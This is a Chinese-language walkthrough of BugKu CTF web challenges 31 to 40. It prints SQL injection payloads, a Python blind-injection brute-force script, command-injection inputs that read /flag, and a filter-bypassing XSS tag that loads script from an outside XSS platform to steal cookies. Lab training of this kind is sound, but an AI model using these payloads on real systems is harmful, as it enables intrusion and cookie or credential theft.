BugKuCTF-WEB超详细解题思路(31-40)
本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
no select
login2
sql注入
都过滤了
login1
留言板
留言板1(没做出来)
文件包含
cookies
never_give_up
no select
题目信息
进入靶场
根据网上提示,这道题是堆叠注入
1';show databases;
爆表
1';show tables;
看到当前库的表名
查看指定表的所有字段
1'; show columns from flag; #
这里得到两个字段
直接构建查询语句查询flag字段内容
1';select data from flag;
发现竟然失败,有关键字拦截?url、base64、unicode、16进制 全部不行
开始sql语句爆破
1' or 1=1#
得到flag!
login2
题目信息
进入靶场随便输入账号密码并用bp抓包,放到重放器send一下,发现个tip(提示)
看着像base64编码,解一下码,发现是个语句
这段 PHP 代码是一个简单的登录验证流程:
$sql="SELECT username,password FROM admin WHERE username='".$username."'";致命伤:直接把用户输入的$username拼接到 SQL 语句中,没有任何过滤或转义,完全暴露了SQL 注入漏洞。if(!empty($row) && $row['password']===md5($password))验证条件:!empty($row):数据库必须查到对应的用户(结果集不能为空)。$row['password']===md5($password):数据库存储的密码字段,必须严格等于(全等===)用户输入密码的 MD5 值。
由于代码里查询的是username字段,后端在验证时又使用了md5($password),我们可以利用“联合查询(UNION SELECT)”在后端伪造一条数据,让后端验证通过。
只需要在登录界面的两个输入框里,分别输入以下内容:
Username (用户名) 输入:
sql
admin' union select 'admin', 'e10adc3949ba59abbe56e057f20f883e' --
Password (密码) 输入:
123456
为什么这个 Payload 能成功绕过?
绕过查询:
admin' union select ... --前面的admin'会闭合原本 SQL 里的第一个引号;union select后面指定的两个字符串'admin'和 MD5 值,会作为新的一行数据拼接到查询结果里。注释符:
--会把原本 SQL 语句后面原生的单引号和分号全部注释掉,保证语法合法。严格的比较:联合查询伪造的密码字段是
e10adc3949ba59abbe56e057f20f883e,而这正是123456的 MD5 哈希值。当后端把传入的密码转为 MD5 后,两个字符串===全等,成功通过校验!
payload:
123456 | cat /flag >1.php 查看 flag文件并输出到1.php里边
找到flag!
sql注入
题目信息
输入用户名111,密码222,提示:username does not exist!
输入用户名admin,密码admin,提示:password error!(说明有admin用户)
构建语句
admin'#
成功闭合 得到=、空格、and、+、,、()等关键字全被过滤
=使用<>代替 空格可以使用or()解决
,可以使用from(1)解决
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>99)#
这里利用ASCII码对数据库名称进行提取,得到第一个为ASCII码99,得到为字母b
以此继续,得到password
为bugkuctf
得到flag!但是这道题我没看懂,看的别人的文章
都过滤了
进入靶场一个登录框
首先随便输入用户名和密码,发现只报错显示用户名错误,因此推出后端先判断用户名,可能使用sql语句:SELECT * FROMtab_name WHERE uname=...
过滤太多了,我直接绝望。
试了之后发现发现'#','-- ',' ','or','and','/*'都被过滤了
尝试判断闭合,发现用户名无论是admin'还是admin",都没有其他报错,推测是单引号闭合
输入用户名为a'-'0,密码123
可推出,确实是单引号闭合
原理:
在 MySQL 数据库中,当字符串参与算术运算或比较时,若字符串的首字符为非数值类型,则该字符串会被 MySQL 隐式转换为数值0。例如:
'a' - 'b' = 0 'a' - 0 = 0 'a' - 1 = -1 '1a' + 0 = 1
利用这一特性,如果后端是直接进行 SQL 字符串拼接(例如:SELECT * FROM tab_name WHERE uname='$uname'),当我们输入用户名为a'-'0时,拼接后的 SQL 语句相当于:
SELECT * FROM tab_name WHERE uname='a' - '0'
由于在 SQL 中减法运算符-的优先级高于比较运算符=,MySQL 会率先计算'a' - '0'。
结果为
0 - 0 = 0。最终查询条件变成了:在数据表中查找
uname = 0的记录。因为数据库中合法用户的
uname首字母大多都是字母(非数值),在比较时都会转换成0,因此uname = 0就会匹配到首字母为非数值的用户记录(比如admin)。
由此,我们可以利用这一特性,构造一个无空格、无逗号、无or/and、纯数字运算的布尔盲注 Payload:
uname=a'-(ascii(substr((passwd)from(1)))=97)-'b&passwd=123
Payload 逻辑原理解析:
括号内的
ascii(substr((passwd)from(1)))=97是我们注入的盲注判断条件。它的作用是:判断当前数据库账户密码的第一个字符的 ASCII 码是否等于97(即字母
'a')。若判断为假(不是 97):式子会返回
0。整体运算变为'a' - 0 - 'b' = 0。因为结果为0,查询不到符合条件的用户,页面会正常返回“密码错误”。若判断为真(是 97):式子会返回
1。整体运算变为'a' - 1 - 'b' = -1。因为结果匹配到了首字母为0的用户记录(比如admin),页面会触发“用户名存在”的状态(比如返回username error!)。
通过对比每次提交后页面反馈的差异特征(「密码错误」与「用户名错误」),就可以利用二分法或逐字枚举,在无任何 SQL 关键字(select,and,or,from)的情况下,轻松把后端的密码完整盲注出来
于是用脚本:
import requests ra = requests.session() # 【注意】如果报错404,请把下面这行改成 http://160.202.254.160:13904/index.php url = 'http://160.202.254.160:13904/login.php' headers = { "User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Mobile Safari/537.36" } # 用于存储破解出来的密码 password = "" print("[*] 开始逐位爆破密码,请稍候...") for j in range(1, 33): # 假定密码最长不超过32位 found = False for i in range(48, 127): # 匹配数字、大小写字母和常见符号 # 构造无空格、无逗号的注入 payload u = f"a'-(ascii(substr((passwd)from({j})))={i})-'b" data = {"uname": u, "passwd": "123"} try: pa = ra.post(url=url, headers=headers, data=data).text # 【核心修正】当页面中没有包含错误提示框时,说明条件成立! if "password error!!@_@" not in pa: password += chr(i) print(f"[+] 第 {j} 位破解成功: {chr(i)} -> 当前密码: {password}") found = True break except Exception as e: print(f"[!] 请求出错: {e}") if not found: print(f"[!] 第 {j} 位在范围内没找到,密码可能提前结束了。") break print(f"\n[+] 最终拿到的密码是: {password}") print("[*] 复制去靶机登录吧!")md5解码得到密码为bugkuctf
输入账号密码,得到:
发现空格等符号依然被过滤
输入指令cat</flag,得到flag!
login1
题目信息
进入靶场,发现是个登录系统
随便测试admin等账号,提示“用户名或密码错误”,看不出明显注入点。
看到“没有账号?点我”的提示,点击进入注册页面。
在注册页面输入用户名admin,系统会提示admin已存在(说明后端确实有这个用户,且做了防重复校验)。
回到注册页面,输入用户名:admin(注意:admin后面加一个空格)。
输入密码:Cj123456(或者其他随便设置的密码)。
点击注册,系统提示注册成功
返回登录页面。
输入用户名:admin(注意:这里不要加空格,就输入正常的admin)。
输入密码:刚才注册时设置的Cj123456。
点击登录。此时,页面会直接显示flag!
留言板
题目信息
留言板?第一反应就是XSS 或者跨站脚本攻击
看到此类的题目,应该和存储型xss有关,也就是将恶意代码保存到服务器端
即然在服务器端,那就是会在后台弹出窗口了
所以需要找到后台地址,看看能不能爆破进入,但是题目提示了说不需要登录后台,需要使用xss平台来接收cookies
用dirsearch扫一下
得到后台管理地址:http://160.202.254.160:17470/admin.php
使用工具爆破,发现用户名为admin,密码为011be4d65feac1a8
登录进去,发现留言的语句,在该目录显示,显示当前的cookie------<script>alert(document.cookie)</script>
刷新页面,这就是我们需要的flag,注意记得转码(%7B 和%7D):
flag%7B7e9f5e2236deb6c6e9b3a23fbfb27032%7D
得到flag!
flag{7e9f5e2236deb6c6e9b3a23fbfb27032}留言板1(没做出来)
题目信息
打开靶场还是那个输入框
坑 1:str_replace过滤script
后端直接暴力把代码里的
script替换成空。解法:双写绕行。写成
<scr<script>ipt>,替换掉中间那个后,刚好拼成<script>。
坑 2:空格被暴力删除
你如果发了
<script src=...>,中间的空格会被删掉导致标签失效。解法:
/\**/代替空格。写成<script/**/src=...>,浏览器会把/**/当成注释忽略,完美实现无空格标签。
坑 3:XSS 平台不支持 http(极其重要!)
截图里提示:“如果 xss 平台是 https 模式,可能收不到 flag”。
解法:进你的 XSS 平台(比如 xssaq.com),在创建项目时一定要选择
http协议。
后台是通过删除空格和删除script字符串来防御的。应该把你 XSS 平台里的核心路径(也就是//d00.cc/f7a这一截),拼装成下面的双写 + 无空格格式:
<scr<sCRiPt>/**/src=//d00.cc/f7a></scr</sCRiPt>ipt>
xss平台可能用不了了?试了几次都不行,先放一放。
文件包含
题目信息
打开靶场发现个这个玩意
点进去看一看,发现一个php文件
上面显示了index.php的字样,网址中,file=show.php。
那么我们可以推测,他这个index.php就是show.php中内容。假设他可以显示包含的文件,那我们直接根目录试试flag。
http://160.202.254.160:10045/index.php?file=/flag
找到flag!
cookies
题目信息
进入靶场发现url上有个编码,看着像base64编码,解一下
发现是个文件名
网页内内容没有换行,放到记事本中,发现是由“rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry”不停复制成的。
line没有赋值,看起来,line就是行数的意思。尝试 line=0,发现页面中的内容没变。尝试 line=1,发现页面中的字符内容就没有了。
那么我们可以推测,line是指定显示key.txt文件中多少行数的内容。
此时,我们知道有index.php。是否能用同样的方式来查看index.php中的内容?
于是,首先把index.php进行base64编码,把编码后的值赋值给filename。
然后赋值line为0。
结果为
尝试line不传值,结果也与传值为0时返回结果一样,都是 <?php。看起来像是一段php代码。
于是,依次输入line的值,从0一直输入到19行,就没有显示内容了。
所有的内容拼接成一下代码:
<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; }代码中显示,当cookie有margin属性,且值为margin时,并且有file在file_list中时,可以输出file的内容。
我们想要的肯定是keys.php内容,于是filename的值为keys.php的base64编码。并且按要求设置cookie。
得到flag!
此题借鉴csdn博主的文章,原文链接:https://blog.csdn.net/cai_huaer/article/details/153639826
never_give_up
题目信息
进入靶场
F12查看源代码,发现一行注释包含一个文件名称1p.html
去访问这个文件,发现直接跳转到BUGKU首页,感到奇怪那就下载 看看这个文件内容
大佬的代码:
import requests url='http://160.202.254.160:12777//1p.html' head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'} html=requests.get(url,headers=head).text print(html)发现内容是这样的
<HTML> <HEAD> <SCRIPT LANGUAGE="Javascript"> <!-- var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" function OutWord() { var NewWords; NewWords = unescape(Words); document.write(NewWords); } OutWord(); // --> </SCRIPT> </HEAD> <BODY> </BODY> </HTML>可以看到script中有一段注释,内容如下:
var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A %3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" function OutWord() { var NewWords; NewWords = unescape(Words); document.write(NewWords); } OutWord();这里发现 2个 %3C!-- --%3E:明显是URL编码,第一个解码得到
<script>window.location.href='http://www.bugku.com';</script>
这是一段js代码,作用就是嵌入在HTML文档中,用于重定向浏览器 当前页面到指定的URL——http://www.bugku.com。而 window.location.href 属性是JavaScript的全局对象window的一个属性,它表示当前窗口(浏览器标签页)加载的网页的完整URL。当你给window.location.href赋值时,浏览器会立即导航到指定的新URL。
是不是很奇怪,注释了为什么还可以运行js代码,请看后文知识点
第二个就是中间的内容,使用base64解码后得到:
%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E再来一次URL解码
";if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { $flag = "flag{***********}" } else { print "never never never give up !!!"; } ?>代码分析:
URL需要有三个参数:id、a、b 对参数a进行限制:使用stripos函数对a进行处理,意思就是a中不能含有. $data,使用file_get_contents() 函数对a参数的内容进行读操作,也就是读取a的内容。至于这个@,@ 符号在PHP中用于错误抑制操作,它会阻止该行代码产生的任何错误信息显示出来。如果 $a 指定的文件或URL不存在,或者由于其他原因无法读取,通常PHP会抛出错误信息,但有了 @ 符号,即使发生错误也不会显示错误信息。【忽略报错】 if语句中 $data“bugku is a nice plateform!” ,表示data中要有bugku is a nice plateform!字符串,至于这个参数放哪里,emm,php伪协议 php:// (总之,看到file_get_contents就要想到使用php://input),也就是请求中使用 =php://input.,然后就可以在post 中输入data的字符串。结合 $data = @file_get_contents($a,'r');,说明参数a就是赋值成伪协议php://input,具体见后文新知识 $id0,和0弱比较为真,先尝试传参id=0,发现页面会自动跳成id=1,所以,既然0不能用,那和0弱比较为真的就是字符串了,id=输入字母。 strlen($b)>5:b的长度要大于5 eregi(“111”.substr($b,0,1),“1114”):eregi已经被弃用(有漏洞,这里利用的就是这个漏洞,称为0x00漏洞,或者%00漏洞),小数点是作为拼接使用,而这里语句表示111和$b 中提取的第一个字符拼接,形成一个新的字符串,然后和1114匹配,匹配的话,则返回 true,否则返回 false。 使用%00,那拼接就是1114,不论参数b输入什么都被认为是结束了,所以b=%00你想输入的数字,数字长度大于5就行,如b=%0011111. substr($b,0,1)!=4,进一步限制,提取拼接的不能是4. 结合起来解释就是三个参数,id不能为0,a不能包含小数点,b要使用截断来绕过substr($b,0,1)!=4,最后要匹配成1114。
借鉴csdn博主默默提升实验室的文章原文链接:https://blog.csdn.net/qq_36292543/article/details/136676985
得到flag
